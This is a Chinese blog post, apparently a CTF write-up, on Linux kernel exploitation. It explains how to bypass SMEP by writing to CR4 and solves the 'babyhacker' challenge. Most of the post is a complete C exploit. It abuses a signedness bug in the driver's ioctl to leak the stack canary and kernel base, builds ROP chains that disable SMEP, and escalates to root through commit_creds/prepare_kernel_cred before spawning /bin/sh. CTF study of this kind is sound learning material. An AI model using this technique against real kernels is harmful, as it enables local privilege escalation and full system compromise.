Linux Kernel Pwn (四)
April 4, 2020 PWN 访问: 73 次
Bypass SMEP
SEMP介绍
为了防止 ret2usr
攻击,内核开发者提出了 smep
保护,smep
全称 Supervisor Mode Execution Protection
,是内核的一种保护措施,作用是当 CPU
处于 ring0
模式时,执行用户空间的代码会触发页错误;
绕过方式
控制kernel流程执行即可关闭该保护,进而在进行ret2usr
攻击即可
pop rdi;
0x6f0
mov cr4, rdi ; pop rbp ; ret
新春战“疫”-babyhacker
这道题难是不难,但是我调试也是调试了一天,写的脚本是没问题的,但是有时候可以打通,有时候打不通,很无解!
bug在ioctl函数中,赋值buffersize出现类型转换错误,可导致栈溢出,栈泄露
__int64 __fastcall babyhacker_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
__int64 v3; // rbp
file *rdx1; // rdx
signed __int16 v5; // di
int v4[80]; // [rsp+0h] [rbp-150h]
unsigned __int64 v8; // [rsp+140h] [rbp-10h]
__int64 v9; // [rsp+148h] [rbp-8h]
_fentry__(file, cmd, arg);
v9 = v3;
v5 = (signed __int16)rdx1;
v8 = __readgsqword(0x28u);
switch ( cmd )
{
case 0x30001u:
babyhacker_ioctl_0(rdx1, 0x30001u, (unsigned __int64)rdx1);
break;
case 0x30002u:
copy_to_user(rdx1, v4, buffersize);
break;
case 0x30000u:
if ( (signed int)rdx1 >= 11 )
v5 = 10;
buffersize = v5;
break;
}
return 0LL;
}
攻击思路:
- 修改buffersize为负数
- 泄露canary以及基地址
- 进行rop
poc:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
size_t commit_creds_addr ,prepare_kernel_cred_addr;
void get_root(){
__asm__(
"mov rdi, 0;"
"mov rbx, prepare_kernel_cred_addr;"
"call rbx;"
"mov rdi, rax;"
"mov rbx, commit_creds_addr;"
"call rbx;"
);
}
size_t user_cs,user_ss,user_sp,user_rflags;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void get_shell()
{
if(!getuid())
{
system("echo root:");
system("/bin/sh");
}else{
system("echo fail");
}
}
int main()
{
save_status();
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
int i,file = open("/dev/babyhacker",O_RDONLY);
if(file < 0){
puts("fd error");
exit(0);
}
/*modify buffersize*/
printf("modify buffersize!\n");
ioctl(file,0x30000,-1);
size_t stack_data[0x1000]={0},canary;
ioctl(file,0x30002,stack_data);
for(i=0;i<0x30;i++)
{
printf("idx-%d : %p\n",i,stack_data[i]);
}
canary = stack_data[8];
printf("\033[47;31m canary : %p\033[0m\n",canary);
size_t offset,vmlinux_addr;
offset = stack_data[42]-0xffffffff81219218;
printf("\033[47;31m %s : %p\n\033[0m\n","offset",offset);
commit_creds_addr = offset+0xffffffff810a1430;
prepare_kernel_cred_addr = 0xffffffff810a1820+offset;
printf("\033[47;31m %s : %p\n\033[0m\n","commit_creds_addr",commit_creds_addr);
printf("\033[47;31m %s : %p\n\033[0m\n","prepare_kernel_cred_addr",prepare_kernel_cred_addr);
size_t pop_rdx,pop_rdi,code_1,code_2,code_3,code_4,code_5;
pop_rdx = 0xffffffff81083f22+offset; //pop rdx ; ret
pop_rdi = 0xffffffff8109054d+offset;//pop rdi ; ret
code_1 = 0xffffffff81004d70+offset;//mov cr4, rdi ; pop rbp ; ret
code_2 = 0xffffffff810636b4+offset; // swapgs ; pop rbp ; ret
code_3 = 0xffffffff8168b278+offset; // iretq;pop rbp ;ret
code_4 = 0xffffffff810def79+offset ;// mov rdi, rax ; call rdx
code_5 = 0xffffffff81006ffc+offset ;//pop rcx ; ret
printf("\033[47;31m %s : %p\n\033[0m\n","pop_rdx",pop_rdx);
size_t payload[0x100]={0};
/* ROP chain
i=40;
payload[i++] = canary;
payload[i++] = 0;
payload[i++] = pop_rdi;
payload[i++] = 0;
payload[i++] = prepare_kernel_cred_addr;
payload[i++] = pop_rdx;
payload[i++] = code_5;
payload[i++] = code_4;
payload[i++] = commit_creds_addr;
payload[i++] = code_2;
payload[i++] = 0;
payload[i++] = code_3;
payload[i++] = (size_t)get_shell;
payload[i++] = user_cs;
payload[i++] = user_rflags;
payload[i++] = user_sp;
payload[i++] = user_ss;
*/
/* ret2usr*/
i=40;
payload[i++] = canary;
payload[i++] = 0;
payload[i++] = pop_rdi;
payload[i++] = 0x6f0;
payload[i++] = code_1;
payload[i++] = 0;//rbp
payload[i++] = (size_t)get_root;
payload[i++] = code_2;
payload[i++] = 0;
payload[i++] = code_3;
payload[i++] = (size_t)get_shell;
payload[i++] = user_cs;
payload[i++] = user_rflags;
payload[i++] = user_sp;
payload[i++] = user_ss;
ioctl(file, 0x30001, payload);
//cat /proc/kallsyms | grep 'commit_creds'
//cat /proc/kallsyms | grep 'prepare_kernel_cred'
return 0;
}